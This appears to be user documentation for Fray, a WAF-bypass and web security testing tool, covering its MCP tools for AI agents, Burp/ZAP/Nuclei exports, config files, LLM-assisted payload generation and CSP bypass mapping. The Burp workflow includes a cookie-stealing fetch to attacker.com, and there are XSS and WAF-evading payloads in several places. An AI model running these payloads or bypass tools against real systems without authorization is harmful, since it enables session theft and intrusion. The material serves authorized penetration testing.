Open with Cmd+Shift+P (macOS) or Ctrl+Shift+P (Windows/Linux):
- Fray: Run Command... — Quick pick menu for all commands
- Fray: Scan URL — Auto scan
- Fray: Test URL — Payload testing
- Fray: WAF Bypass Assessment — 5-phase bypass
- Fray: Detect WAF — Vendor fingerprinting
- Fray: Harden Check — Security headers audit
- Fray: Show Last Report — HTML report panel (
Cmd+Shift+R)
Features
- HTML report webview — Rich in-editor report with stats and tables
- Inline diagnostics — Bypass findings as warnings/errors
- Activity bar sidebar — Browse results and scan history
- Right-click scan — Select URL text → context menu → scan
- Status bar — Live scan progress
Settings
| Setting | Default | Description |
fray.pythonPath | python | Path to Python interpreter |
fray.defaultCategory | | Default payload category |
fray.maxPayloads | 50 | Max payloads per scan |
fray.showInlineFindings | true | Show inline diagnostics |
MCP / AI Agents
Use Fray as an AI agent tool via Model Context Protocol.
What is MCP?
Model Context Protocol (MCP) lets AI assistants like Claude Desktop, Claude Code, ChatGPT, and Cursor call external tools. Fray exposes 14 MCP tools for security testing.
Setup
pip install "fray[mcp]"
Available tools (14 total)
| Tool | What it does |
fray_detect | Fingerprint WAF vendor (25 vendors, signature + anomaly) |
fray_test | Run payload testing against a target URL |
fray_scan | Auto crawl, discover parameters, and inject payloads |
fray_recon | 27-check reconnaissance suite |
fray_bypass | 5-phase WAF evasion scorer |
fray_harden | Security headers audit with A-F grade and fix snippets |
fray_osint | WHOIS, email harvesting, GitHub org intel, typosquatting |
fray_graph | Visual attack surface tree |
suggest_payloads_for_waf | Return best bypass payloads for a specific WAF vendor |
generate_bypass_strategy | Suggest mutation strategies for a blocked payload |
search_payloads | Full-text search across 4,000+ payloads |
analyze_response | Detect soft blocks, challenges, and false negatives in a response |
hardening_check | Security headers audit with grade and rate-limit check |
fray_agent | Run the self-improving payload agent with pattern caching |
Claude Desktop
Edit ~/Library/Application Support/Claude/claude_desktop_config.json (macOS) or %APPDATA%\Claude\claude_desktop_config.json (Windows):
{
"mcpServers": {
"fray": {
"command": "python",
"args": ["-m", "fray.mcp_server"]
}
}
}
Restart Claude Desktop. You'll see a hammer icon — click it to confirm Fray's 14 tools are listed.
Claude Code (CLI)
Run once to register the MCP server globally:
claude mcp add fray -- python -m fray.mcp_server
Verify it's registered:
claude mcp list
Then in any Claude Code session, ask it to run Fray tools directly:
# Example prompts in Claude Code
"Use fray_detect to fingerprint the WAF on https://target.com"
"Run fray_recon on https://target.com and summarize the findings"
"Use fray_bypass to test for XSS bypasses on https://target.com"
Cursor
Go to Cursor Settings → MCP → Add new MCP server and fill in:
| Field | Value |
| Name | fray |
| Type | stdio |
| Command | python |
| Args | -m fray.mcp_server |
Or add directly to ~/.cursor/mcp.json:
{
"mcpServers": {
"fray": {
"command": "python",
"args": ["-m", "fray.mcp_server"]
}
}
}
Restart Cursor. In the Agent panel, Fray tools appear alongside your other MCP tools.
ChatGPT (via custom action)
Start the Fray MCP server with HTTP transport:
python -m fray.mcp_server --transport http --port 8765
Then add http://localhost:8765 as a custom action in your GPT configuration.
Passing API keys to the MCP server
Set environment variables before starting the server, or configure them via .fray.toml:
# Shell — keys are inherited by the MCP server process
export OPENAI_API_KEY=sk-...
claude mcp add fray -- python -m fray.mcp_server
# Or in claude_desktop_config.json / mcp.json
{
"mcpServers": {
"fray": {
"command": "python",
"args": ["-m", "fray.mcp_server"],
"env": {
"OPENAI_API_KEY": "sk-..."
}
}
}
}
Docker
Run Fray in a container.
Pull
docker pull dalisecurity/fray
Run
docker run --rm dalisecurity/fray test https://example.com --smart -y
Docker Compose
services:
fray:
image: dalisecurity/fray
command: test https://example.com --smart -y
volumes:
- ./results:/results
Webhooks
Send scan results to Slack, Discord, or Microsoft Teams in real time.
Usage
# Slack
fray test https://target.com --webhook https://hooks.slack.com/services/T.../B.../xxx
# Discord
fray test https://target.com --webhook https://discord.com/api/webhooks/xxx/yyy
# Microsoft Teams
fray test https://target.com --webhook https://outlook.office.com/webhook/xxx
Fray auto-detects the platform from the URL and formats the message accordingly — Slack Block Kit, Discord embeds, or Teams Adaptive Cards.
Works with any command
The --webhook flag works with test, scan, bypass, recon, osint, harden, and more.
# Recon diff alerts to Slack
fray recon https://target.com --compare --webhook https://hooks.slack.com/services/...
# OSINT results to Discord
fray osint example.com --webhook https://discord.com/api/webhooks/...
What the notification includes
| Field | Description |
| Target | URL that was scanned |
| Total payloads | Number of payloads tested |
| Blocked / Bypassed | Count with color-coded severity |
| Block rate | Percentage blocked |
| Duration | Scan time |
Sample Slack notification
:warning: Fray Scan Complete
Target: `https://staging.example.com`
Duration: 42.3s
Total Payloads: 200
Block Rate: 97.0%
Blocked: :shield: 194
Bypassed: :unlock: 6
Powered by Fray — DALI Security
Security
Fray includes SSRF prevention — webhook URLs that resolve to private/internal IPs are automatically blocked.
Sample Discord notification
Fray Scan Complete
Target: `https://staging.example.com`
Total Payloads: 200
Blocked: 194
Bypassed: 6
Block Rate: 97.0%
Duration: 42.3s
Fray — DALI Security | github.com/dalisecurity/fray
Sample Teams notification
Fray Scan Complete
https://staging.example.com
Total Payloads: 200
Blocked: 194
Bypassed: 6
Block Rate: 97.0%
Duration: 42.3s
Status: 6 Bypassed
[View Fray on GitHub]
Generic webhooks
Any URL that isn't Slack, Discord, or Teams receives a simple JSON payload:
{
"text": "Fray Scan Complete\nTarget: https://target.com\nTotal: 200 | Blocked: 194 | Bypassed: 6 | Block Rate: 97.0%\nDuration: 42.3s"
}
Burp Suite Integration
Export results to Burp XML and import Burp requests into Fray.
End-to-end workflow: Fray → Burp → verify
The most effective pentest workflow combines Fray's automated WAF bypass discovery with Burp Suite's manual verification and exploitation capabilities.
Step 1 — Run Fray to find bypass candidates
# Run bypass assessment and export all results as Burp XML
fray bypass https://target.com --category xss --format burp --output fray_burp.xml
Step 2 — Import into Burp Suite
- Open Burp Suite → Proxy → HTTP history
- Go to Target → Site map → right-click → Engagement tools → Import issues from Burp XML
- Select
fray_burp.xml — bypass items appear highlighted in red, reflected in orange
Step 3 — Filter to bypasses only
In the site map or HTTP history, filter by the custom header Fray adds to bypass requests:
X-Fray-Blocked: false
This gives you a clean list of only the requests the WAF did not block.
Step 4 — Send to Repeater for manual verification
- Right-click a bypass request → Send to Repeater
- In Repeater, send the request and confirm the payload is reflected or executed
- Modify the payload to escalate (e.g.
alert(1) → fetch('https://attacker.com/?c='+document.cookie))
- Right-click → Add to site map to track confirmed issues
Step 5 — Generate a Burp report
In Burp Suite → Target → Site map → right-click on the target → Report issues → select HTML or XML. Combine with Fray's HTML report for a complete engagement deliverable.
Tip: Use fray bypass --export-recipes fray_recipes.json alongside the Burp export. The recipes file is shareable and target-anonymized — useful for team collaboration without exposing client data.
Export to Burp Suite
Export scan/bypass results as Burp-compatible XML with base64-encoded request/response pairs. Import into Burp via Extender > Import.
# Export results as Burp XML
fray test https://target.com --format burp --output fray_burp_export.xml
What's included in the export
- Full HTTP request with payload injected
- Response status and headers
- Fray metadata: category, technique, evasion score
- Bypass results highlighted in red, reflected in orange
Import from Burp Suite
Feed Burp saved requests into Fray for replay and bypass testing:
# Import raw HTTP request file
fray test --import-burp saved_request.txt
# Import Burp XML export (multiple items)
fray test --import-burp burp_export.xml
Supports both raw HTTP request files and Burp XML exports with base64-encoded requests.
Python API
from fray.interop import export_burp_xml, import_burp_requests
# Export
export_burp_xml(results, "https://target.com", "output.xml")
# Import
requests = import_burp_requests("burp_export.xml")
# Returns: [{"method": "GET", "url": "...", "headers": {...}, "payload": "..."}]
Sample export output
━━━ Fray → Burp Suite Export ━━━
Target: https://target.com
Format: Burp XML (base64-encoded request/response)
[Exporting] 47 test results
✓ 38 blocked items (informational)
✓ 6 bypass items (highlighted red)
✓ 3 reflected items (highlighted orange)
Request sample:
GET /?q=%3Csvg%2Fonload%3Dalert(1)%3E HTTP/1.1
Host: target.com
User-Agent: Fray-Scanner
Response sample:
HTTP/1.1 200 OK
X-Fray-Blocked: false
X-Fray-Payload: <svg/onload=alert(1)>
✓ Saved to fray_burp_export.xml (47 items, 24.3 KB)
Sample import output
━━━ Burp Suite → Fray Import ━━━
File: burp_export.xml
[Parsing] Burp XML format detected (base64)
✓ Decoded 12 request items
[Items]
1. GET /search?q=test (target.com)
2. POST /login (target.com)
3. GET /api/users?id=1 (api.target.com)
... 9 more
✓ Imported 12 requests — ready for fray test/bypass
OWASP ZAP Integration
Export results as ZAP-compatible alerts JSON.
Export to ZAP
# Export as ZAP alerts
fray test https://target.com --format zap --output fray_zap_export.json
Alert mapping
| Fray Result | ZAP Risk | ZAP Confidence |
| Bypass + Reflected | High (3) | High |
| Bypass | Medium (2) | Medium |
| Blocked | Informational (0) | Medium |
What's included
- ZAP-compatible alert structure per finding
- Fray category, payload, technique as tags
- Evasion score metadata
- Remediation suggestions per alert
Sample output
━━━ Fray → ZAP Export ━━━
Target: https://target.com
Format: ZAP Alerts JSON
[Mapping] 47 results → ZAP alerts
2 High risk bypass + reflected (XSS, SQLi)
4 Medium risk bypass without reflection
41 Info blocked payloads
Alert sample:
WAF Bypass: XSS
Risk: High (3)
Confidence: High
URI: https://target.com/search?q=...
Attack: <svg/onload=alert(1)>
Evidence: Status: 200, Blocked: false, Reflected: true
✓ Saved to fray_zap_export.json (47 alerts)
Python API
from fray.interop import export_zap_json
export_zap_json(results, "https://target.com", "fray_zap.json")
Nuclei Integration
Convert Fray bypass findings into Nuclei YAML templates.
Export to Nuclei
Generates one Nuclei template per unique bypass, so you can re-test findings with Nuclei across your infrastructure.
# Export bypasses as Nuclei templates
fray bypass https://target.com --format nuclei --output-dir fray_nuclei_templates/
Generated template example
id: fray-xss-001
info:
name: "Fray WAF Bypass - XSS (case mutation)"
author: fray
severity: medium
description: |
WAF bypass detected by Fray security scanner.
Category: xss
Technique: case mutation
Evasion Score: 72%
tags: fray,waf-bypass,xss
http:
- method: GET
path:
- "{{BaseURL}}/?q=%3CsVg%2FoNloAd%3Dalert(1)%3E"
matchers-condition: and
matchers:
- type: word
words:
- "<sVg/oNloAd=alert(1)>"
- type: status
status:
- 200
Sample export output
━━━ Fray → Nuclei Export ━━━
Target: https://target.com
Format: Nuclei YAML templates
[Filtering] 47 results → 6 bypasses
[Templates]
✓ fray-xss-001.yaml case mutation (evasion: 72%)
✓ fray-xss-002.yaml double URL encode (evasion: 68%)
✓ fray-xss-003.yaml unicode escape (evasion: 55%)
✓ fray-sqli-001.yaml comment injection (evasion: 60%)
✓ fray-ssti-001.yaml double encoding (evasion: 48%)
✓ fray-ssrf-001.yaml IP encoding (evasion: 52%)
✓ Generated 6 templates in fray_nuclei_templates/
Run with Nuclei
# Scan your whole fleet with the bypass templates
nuclei -t fray_nuclei_templates/ -l targets.txt
Bypass recipes
Fray can also export successful bypasses as shareable JSON recipes (target anonymized by default):
# Export bypass recipes
fray bypass https://target.com --export-recipes fray_recipes.json
{
"schema_version": "1.0",
"total_recipes": 4,
"recipes": [
{
"category": "xss",
"technique": "case mutation",
"payload": "<sVg/oNloAd=alert(1)>",
"waf_vendor": "cloudflare",
"evasion_score": 72,
"reflected": true,
"target": "(anonymized)"
}
]
}
Python API
from fray.interop import export_nuclei_templates, export_bypass_recipes
# Nuclei templates
templates = export_nuclei_templates(results, "https://target.com")
# Returns: ["fray_nuclei_templates/fray-xss-001.yaml", ...]
# Bypass recipes
from fray.interop import export_bypass_recipes
export_bypass_recipes(bypasses, output_file="recipes.json")
Environment Variables
All environment variables Fray reads, in one place.
AI / LLM providers
| Variable | Used by | Description |
OPENAI_API_KEY | fray ai-bypass, fray agent --ai | OpenAI API key (GPT-4, GPT-4o). Get one at platform.openai.com. |
ANTHROPIC_API_KEY | fray ai-bypass --provider anthropic | Anthropic API key (Claude). Get one at console.anthropic.com. |
Source integrations
| Variable | Used by | Description |
GITHUB_TOKEN | fray feed --sources github, fray osint | GitHub personal access token. Increases GitHub API rate limit from 60 to 5,000 req/hr. Optional but recommended. |
GH_TOKEN | same as above | Fallback alias for GITHUB_TOKEN (GitHub CLI convention). If both are set, GITHUB_TOKEN takes precedence. |
Setting variables
# Shell (one-time)
export OPENAI_API_KEY=sk-...
export ANTHROPIC_API_KEY=sk-ant-...
export GITHUB_TOKEN=ghp_...
# Persistent — add to ~/.zshrc or ~/.bashrc
echo 'export OPENAI_API_KEY=sk-...' >> ~/.zshrc
# Or use .fray.toml (see Config page) — keys are only set if not already in env
In GitHub Actions
- uses: dalisecurity/fray@v3
with:
target: 'https://staging.example.com'
env:
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
In Docker
docker run --rm \
-e OPENAI_API_KEY=sk-... \
-e GITHUB_TOKEN=ghp_... \
dalisecurity/fray ai-bypass https://target.com
Tip: Variables set in the shell always override values in .fray.toml. The config file only sets a variable if it is not already present in the environment.
.fray.toml Config
Persistent configuration file — set defaults so you don't have to repeat flags every run.
File location
Fray searches for .fray.toml in this order:
- Current working directory (
./fray.toml)
- Home directory (
~/.fray.toml)
CLI flags always override config file values. Environment variables always override the [env] section.
Full example
# .fray.toml
[env]
# API keys — only applied if not already set in your shell
OPENAI_API_KEY = "sk-..."
ANTHROPIC_API_KEY = "sk-ant-..."
GITHUB_TOKEN = "ghp_..."
[test]
timeout = 10 # Request timeout in seconds
delay = 0.3 # Delay between requests
category = "xss" # Default payload category
insecure = false # Skip TLS verification
verbose = false # Verbose output
redirect_limit = 5 # Max redirects to follow
[test.auth]
cookie = "session=abc123" # Cookie header for authenticated scans
bearer = "eyJhbGciOi..." # Bearer token for API scans
[bounty]
max = 20 # Max targets per bounty run
workers = 4 # Concurrent workers
delay = 0.5 # Delay between targets
[webhook]
url = "https://hooks.slack.com/services/..." # Default webhook URL
Section reference
| Section | Key | Type | Description |
[env] | any key | string | Environment variables. Only set if not already in shell env. |
[test] | timeout | integer | HTTP request timeout in seconds. Default: 10. |
[test] | delay | float | Delay between requests. Default: 0.5. |
[test] | category | string | Default payload category (e.g. xss, sqli). |
[test] | insecure | bool | Skip TLS certificate verification. Default: false. |
[test] | verbose | bool | Enable verbose output. Default: false. |
[test] | redirect_limit | integer | Max HTTP redirects to follow. Default: 5. |
[test.auth] | cookie | string | Cookie header value for authenticated scanning. |
[test.auth] | bearer | string | Bearer token for API scanning. |
[bounty] | max | integer | Max targets per bounty run. |
[bounty] | workers | integer | Concurrent workers. Default: 4. |
[bounty] | delay | float | Delay between targets. |
[webhook] | url | string | Default webhook URL (Slack, Discord, Teams). |
Precedence order
CLI flags > shell environment > .fray.toml > built-in defaults
Ready-made configs for common workflows
Bug bounty hunter
# ~/.fray.toml
[env]
OPENAI_API_KEY = "sk-..."
GITHUB_TOKEN = "ghp_..."
[test]
delay = 1.0 # polite — avoid rate limiting on targets
timeout = 15
redirect_limit = 10
[test.auth]
bearer = "eyJ..." # your session token — no more --bearer flag
CI/CD pipeline
# .fray.toml (project root — checked into repo, no secrets)
[test]
delay = 0.1 # fast — CI environment, not production
timeout = 10
verbose = false
[webhook]
url = "https://hooks.slack.com/services/..." # team Slack channel
Stealth / red team
# ~/.fray.toml
[test]
delay = 2.0
redirect_limit = 5
verbose = false
[test.auth]
cookie = "session=abc123; __cf_bm=xyz"
Verify config is loaded
fray doctor
fray doctor reports which config file was found, which keys are set, and whether required API keys are present.
Which Bypass Command?
Fray has three bypass commands. Here's when to use each one.
Quick decision
| Situation | Use |
| First time testing a target, want structured results | fray bypass |
| Have an LLM API key, want smarter payloads | fray ai-bypass |
| Running repeated scans, want it to get better over time | fray agent |
| Full pipeline including recon and hardening | fray auto |
fray bypass — Structured 5-phase evasion
fray bypass https://target.com
- What it does: Runs a deterministic 5-phase pipeline: baseline → encoding → mutation → header tricks → adaptive feedback.
- Best for: Consistent, repeatable results. Good for CI/CD regression testing and first-pass WAF assessment.
- No API key needed. Runs entirely locally with the built-in 4,000+ payload database.
- Speed: Fast. ~80–200 requests depending on
--max.
fray ai-bypass — LLM-generated payloads
fray ai-bypass https://target.com
- What it does: Probes the WAF, sends patterns to an LLM (OpenAI or Anthropic), gets back custom evasion payloads, tests them, and iterates.
- Best for: Hard targets where standard mutation hasn't found bypasses. The LLM generates payloads specifically tailored to what the WAF is blocking.
- Requires:
OPENAI_API_KEY or ANTHROPIC_API_KEY. Costs ~$0.01–0.05 per run.
- Speed: Moderate. Adds LLM latency (~5–15s per round).
fray agent — Self-improving with pattern cache
fray agent https://target.com
- What it does: Probes the WAF to build a behavioral profile, checks a local cache of previously successful bypasses for this WAF vendor, scores and ranks all payloads, runs targeted mutations based on why each payload was blocked, and caches successful techniques for future runs.
- Best for: Ongoing testing against the same WAF vendor. Gets smarter each run. Ideal for bug bounty programs where you test the same WAF repeatedly.
- No API key needed by default. Add
--ai to enable LLM fallback after local strategies are exhausted.
- Speed: Budget-controlled via
--budget N (total HTTP requests). Default: 100 requests.
- Cache location:
~/.fray/learned_patterns.json
Side-by-side comparison
| fray bypass | fray ai-bypass | fray agent |
| API key required | No | Yes | No (optional) |
| Learns over time | No | No | Yes |
| LLM-generated payloads | No | Yes | Optional (--ai) |
| Deterministic / reproducible | Yes | No | Partial (cache hit) |
| Good for CI/CD | Yes | No (cost + latency) | Yes |
| Request budget control | Via --max | Via --max | Via --budget |
| WAF behavioral profiling | Partial | Yes (via LLM) | Yes (local) |
| Approx. cost per run | Free | $0.01–0.05 | Free |
Combining them
For thorough testing, run all three in sequence:
# 1. Structured baseline
fray bypass https://target.com --output bypass.json
# 2. LLM-assisted on hard targets
fray ai-bypass https://target.com --output ai.json
# 3. Agent with cache — improves on repeat runs
fray agent https://target.com --budget 200
FAQ & Troubleshooting
Answers to common questions and fixes for common errors.
General
Why does fray detect return "Unknown WAF"?
This means none of the 25 vendor signatures matched. Possible reasons:
- The target has no WAF — run
fray recon to check other indicators.
- The WAF is in transparent/detect-only mode and doesn't add identifying headers.
- The WAF vendor is not in Fray's 25-vendor signature database. Check the WAF Detection guide for the full vendor list.
- The target is behind a CDN that strips WAF headers (e.g. another Cloudflare layer in front).
Try: fray recon https://target.com — the recon report often reveals WAF hints in headers and behavior that detect misses.
I got 0 bypasses. Is that good or bad?
It means the WAF blocked all tested payloads. Whether that's the full picture depends on which payloads you ran:
- With
--smart -y and --max 50: Good signal, but only 50 payloads tested. Try --max 200 or fray bypass for deeper evasion testing.
- After
fray bypass with all 5 phases: Strong signal. The WAF is holding up against standard techniques.
- After
fray agent: Strongest signal — the agent tried targeted mutations based on WAF behavior.
0 bypasses is a positive result. Report it as: "block rate: 100% across N payloads and N mutation strategies."
What does "FP score: Low/Medium/High" mean?
FP = False Positive score. It estimates how likely Fray's "bypass detected" results are to be false positives (i.e., the WAF didn't actually miss the payload — something else caused a 200 response).
- Low: High confidence the bypass is real — the payload was reflected or caused observable behavior change.
- Medium: The response was 200 but no reflection detected. Could be a real bypass or a WAF in detect-only mode.
- High: Likely a false positive — verify manually in a browser or Burp Suite.
What does "evasion score: 72%" mean?
The evasion score is a composite of: (1) how many WAF layers the payload passed, (2) whether the response indicated a block, soft-block, or pass, and (3) whether the payload was reflected in the response. It is not a probability — it's a relative ranking to compare techniques within the same scan. A payload with 72% scored better than one with 40% but worse than one with 90%.
Installation
pip install fray fails with "No module named tomllib"
You're on Python 3.10 or earlier. tomllib is built into Python 3.11+. On Python 3.8–3.10, Fray falls back gracefully (config file support is disabled but everything else works). To get config file support on older Python:
pip install tomli
# Fray will use tomli as a fallback automatically
fray: command not found after pip install
The pip script directory isn't in your PATH. Fix:
# Find where pip installed the script
python -m site --user-base
# Add /path/from/above/bin to your PATH in ~/.zshrc or ~/.bashrc
# Or run Fray directly without PATH issues
python -m fray test https://target.com
SSL/TLS errors when scanning
# Skip TLS verification (dev/staging targets with self-signed certs)
fray test https://target.com --insecure
# Or set in .fray.toml
[test]
insecure = true
Warning: Do not use --insecure in production scanning — it disables certificate validation entirely.
Scanning
I'm being rate limited mid-scan
Fray warns when it detects rate limiting (429 responses). To prevent it:
# Slow down with stealth mode + longer delay
fray test https://target.com --stealth --delay 3
# Or set a lower worker count
fray test https://target.com -w 1 --delay 2
If you're being blocked entirely (not just rate limited), the target's bot protection layer may have fingerprinted the scanner. In authorized engagements, ask the target to whitelist your IP at the bot protection layer.
fray scan finds no parameters
Possible causes:
- The app is a single-page app (SPA) — parameters are set via JavaScript, not visible to the crawler. Use
--cookie or --bearer to authenticate, then inspect the app manually and use fray test with a specific URL and parameter.
- Crawl depth is too shallow: try
--depth 5.
- The target requires authentication: add
--cookie or --bearer.
All payloads return 403 — is the WAF too strict to test?
No — 100% block rate on a first scan is normal. Try:
# Use the full bypass pipeline — it specifically targets evasion
fray bypass https://target.com --category xss
# Or the agent — it profiles the WAF and mutates strategically
fray agent https://target.com --rounds 5
AI features
fray ai-bypass says "No API key found"
# Set the key in your shell
export OPENAI_API_KEY=sk-...
# Or in .fray.toml
[env]
OPENAI_API_KEY = "sk-..."
# Or pass provider explicitly
fray ai-bypass https://target.com --provider openai
How much does ai-bypass cost?
Typically $0.01–0.05 per run with GPT-4o. A 2-round session with 30 payloads uses approximately 2,000–4,000 tokens. Claude Haiku is cheaper (~$0.005/run) and often performs comparably for WAF bypass tasks. Set --provider anthropic to use Claude.
Output & reports
How do I get the results into the GitHub Security tab?
# Generate SARIF output
fray test https://target.com --format sarif --output results.sarif
# In GitHub Actions — upload-sarif uploads to Security tab automatically
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
The HTML report is blank / not rendering
Open the HTML file directly in a browser (not via a file:// path in some browsers). If using VS Code, use the Fray: Show Last Report command (Cmd+Shift+R) which opens it in the built-in webview.
Still stuck?
Open a GitHub Discussion or check existing Issues.
fray evolve
Adaptive payload evolution — mutate, test, score, and persist the most effective bypass techniques for a specific WAF.
Usage
fray evolve <url> [options]
What it does
fray evolve runs an evolutionary loop against a target:
- Seed — start from the payload database for the specified category
- Probe — send payloads and score each by WAF response behavior
- Select — keep the top-scoring payloads (configurable survival rate)
- Mutate — apply all 20 mutation strategies to survivors
- Repeat — run N generations, building a WAF-specific mutation profile
- Persist — save the learned profile to
~/.fray/waf_profiles/ for reuse by fray agent
Unlike fray bypass (single pass) or fray agent (session caching), fray evolve is designed for deep, time-investment runs where you want to build a permanent WAF profile.
Options
| Flag | Default | Description |
--category | xss | Payload category to evolve against |
--generations | 5 | Number of evolution cycles |
--population | 30 | Payloads per generation |
--survival | 0.3 | Fraction of top payloads kept each generation |
--stealth | false | Enable UA rotation and request jitter |
--delay | 0.5 | Delay between requests (seconds) |
--output | — | Save evolved profile to a specific file |
Example
# Run 10 generations of XSS evolution against a Cloudflare target
fray evolve https://target.com --category xss --generations 10 --population 50
# Save profile for later use
fray evolve https://target.com --category sqli --output cloudflare_sqli.json
Sample output
━━━ Fray EVOLVE ━━━
Target: https://target.com
WAF: Cloudflare (strict)
Category: xss
Generations: 5 | Population: 30 | Survival: 30%
Gen 1/5 30 payloads → 2 bypass (6.7%) best: case+unicode
Gen 2/5 30 payloads → 4 bypass (13.3%) best: case+unicode+null
Gen 3/5 30 payloads → 5 bypass (16.7%) best: double-encode+case
Gen 4/5 30 payloads → 5 bypass (16.7%) plateau
Gen 5/5 30 payloads → 6 bypass (20.0%) best: triple-encode+case
Evolution complete
Bypass rate: 6.7% → 20.0% (+13.3%)
Top techniques: triple-encode, case-mutation, null-byte-injection
Profile saved → ~/.fray/waf_profiles/cloudflare_xss.json
Using an evolved profile
# fray agent automatically loads profiles from ~/.fray/waf_profiles/
fray agent https://target.com --category xss
# or load explicitly
fray bypass https://target.com --profile ~/.fray/waf_profiles/cloudflare_xss.json
fray csp
Deep Content Security Policy analysis — parse, evaluate, and map bypass techniques for a target's CSP.
Usage
fray csp <url> [options]
What it does
fray csp fetches the target's CSP header or meta tag and performs:
- Parse — breaks the policy into directives and sources
- Grade — scores the CSP from A (strict) to F (bypassable)
- Bypass mapping — identifies specific bypass vectors: unsafe-inline, CDN gadgets (JSONP endpoints), wildcard sources, data: URIs, script gadgets
- Payload generation — for each identified bypass vector, generates a proof-of-concept payload
- Report — outputs structured JSON or HTML with remediation recommendations
Options
| Flag | Default | Description |
--format | table | table, json, html |
--output | — | Save report to file |
--header | — | Analyze a raw CSP string directly instead of fetching |
--cookie | — | Session cookie (for CSPs on authenticated pages) |
Examples
# Analyze CSP from a live URL
fray csp https://target.com
# Analyze a raw CSP header string
fray csp --header "default-src 'self'; script-src 'unsafe-inline' https://cdn.example.com"
# Save as HTML report
fray csp https://target.com --format html --output csp-report.html
Sample output
━━━ Fray CSP Analysis ━━━
Target: https://target.com
Source: Content-Security-Policy header
Policy
default-src 'self'
script-src 'unsafe-inline' https://ajax.googleapis.com
style-src 'self' 'unsafe-inline'
img-src * data:
Grade: D (bypassable)
BYPASS VECTORS (3)
✗ unsafe-inline in script-src
→ <script>alert(1)</script> works directly
✗ JSONP gadget: ajax.googleapis.com
→ <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js?callback=alert">
⚠ Wildcard img-src with data:
→ data: URIs can be used for exfiltration via CSS injection
SAFE DIRECTIVES
✓ default-src restricts to 'self'
✓ No object-src wildcard
Remediation
1. Remove 'unsafe-inline' — use nonces or hashes
2. Replace ajax.googleapis.com with specific script hash
3. Restrict img-src — remove wildcard and data:
Python API
from fray.csp import analyze_csp
result = analyze_csp("https://target.com")
print(result["grade"]) # "D"
print(result["bypass_vectors"]) # list of bypass dicts
print(result["directives"]) # parsed directive map
API Reference
Use Fray as a Python library.
Import
import fray
Key modules
| Module | Description |
fray.scanner | Auto-scanning engine |
fray.tester | Payload testing |
fray.detector | WAF detection |
fray.bypass | Bypass assessment |
fray.recon | Reconnaissance |
fray.reporter | Report generation |
fray.mutator | Payload mutation engine |
fray.osint | OSINT gathering |
fray.webhook | Slack, Discord, Teams notifications |
fray.interop | Burp Suite, ZAP, Nuclei import/export |
fray.ai_bypass | LLM-powered adaptive bypass |
fray.agent | Self-improving payload agent with pattern caching |
fray.threat_intel | Threat intelligence feed — CVE/advisory auto-ingestion |
fray.evolve | Adaptive payload evolution & WAF profiling |
fray.csp | CSP deep analysis & bypass mapping |
fray.diff | Scan result comparison |
For detailed API docs, see the full API documentation on GitHub.
OWASP Coverage
92% OWASP framework coverage across Web, API, Mobile, and LLM Top 10.
OWASP Top 10 (Web)
- A01: Broken Access Control
- A02: Cryptographic Failures
- A03: Injection (XSS, SQLi, RCE, SSTI, XXE)
- A04: Insecure Design
- A05: Security Misconfiguration
- A06: Vulnerable Components
- A07: Authentication Failures
- A08: Software & Data Integrity Failures
- A09: Security Logging Failures
- A10: Server-Side Request Forgery (SSRF)
OWASP API Security Top 10
Full coverage including BOLA, broken auth, excessive data exposure, rate limiting, mass assignment, SSRF, and injection.
OWASP LLM Top 10
370 payloads targeting prompt injection, training data poisoning, model DoS, supply chain, output handling, excessive agency, and more.
Methodology
How Fray approaches WAF security testing.
Testing phases
- Reconnaissance — Map the target's attack surface
- Detection — Identify and fingerprint the WAF
- Baseline testing — Establish the WAF's block rate with standard payloads
- Evasion testing — Apply encoding, mutation, and header tricks
- AI-assisted testing — LLM generates adaptive payloads
- Hardening audit — Check security headers and configurations
- Reporting — Generate comprehensive results
Responsible use
Fray is designed for authorized security testing only. Always ensure you have written permission before testing any target. Fray includes scope validation features to prevent testing out-of-scope targets.
Best Practices
Tips for effective WAF security testing.
Before you scan
- Get written authorization from the target owner
- Define scope clearly — use scope files
- Start with
fray detect to understand the WAF
- Use stealth mode on production targets
During scanning
- Start with
--smart -y for automatic category selection
- Use
--max 50 initially, increase if needed
- Monitor for rate limiting (Fray warns you)
- Save results with
--output for comparison later
After scanning
- Run
fray harden for remediation recommendations
- Generate HTML reports for stakeholders
- Use SARIF output for GitHub Security tab integration
- Schedule regular scans via GitHub Actions or cron
CI/CD integration
- Add Fray to PR checks with
fail-on-bypass: true
- Run weekly full scans on staging environments
- Send results to Slack/Discord for team visibility
- Use
fray diff before.json after.json as a regression gate after WAF rule changes
- Store API keys in GitHub Secrets — never hardcode in workflow files
Scan impact reference
Use this table to plan scan load on a target before running. All estimates assume default --delay 0.5 and single worker.
| Command | Approx. requests | Typical time | Notes |
fray detect | ~15 | <5s | Safe on any target |
fray recon | ~50 | ~30s | Mostly passive checks |
fray test --max 50 | ~50 | ~1 min | Good starting point |
fray test --max 200 | ~200 | ~3 min | Standard assessment |
fray test --all --max 50 | ~1,150 | ~15 min | All 23 categories × 50 |
fray bypass | ~80–200 | ~2 min | 5 phases |
fray agent --budget 100 | ≤100 | ~2 min | Budget-capped |
fray auto | ~200+ | ~5 min | Full pipeline |
fray scan --depth 3 | ~50–300 | ~2–5 min | Depends on site size |
Add --stealth --delay 2 to any command to roughly halve the request rate. Use -w 1 for strictly sequential requests.
Changelog
Version history and release notes.
v3.4.0 — March 2026
- Payload database expanded to 4,003 payloads (from 2,913)
- 18 new/expanded payload categories including file upload, web shells, WordPress, LLM testing
- VS Code extension published to Marketplace
- GitHub Action documentation
- Homebrew formula
v3.3.0 — February 2026
- MCP server with 14 tools
- SARIF output format
- AI bypass improvements
v1.0.0 — February 2026
- Initial public release
- 2,900+ payloads across 23 categories
- Full CLI with 10+ commands
- 92% OWASP coverage
Full changelog on GitHub →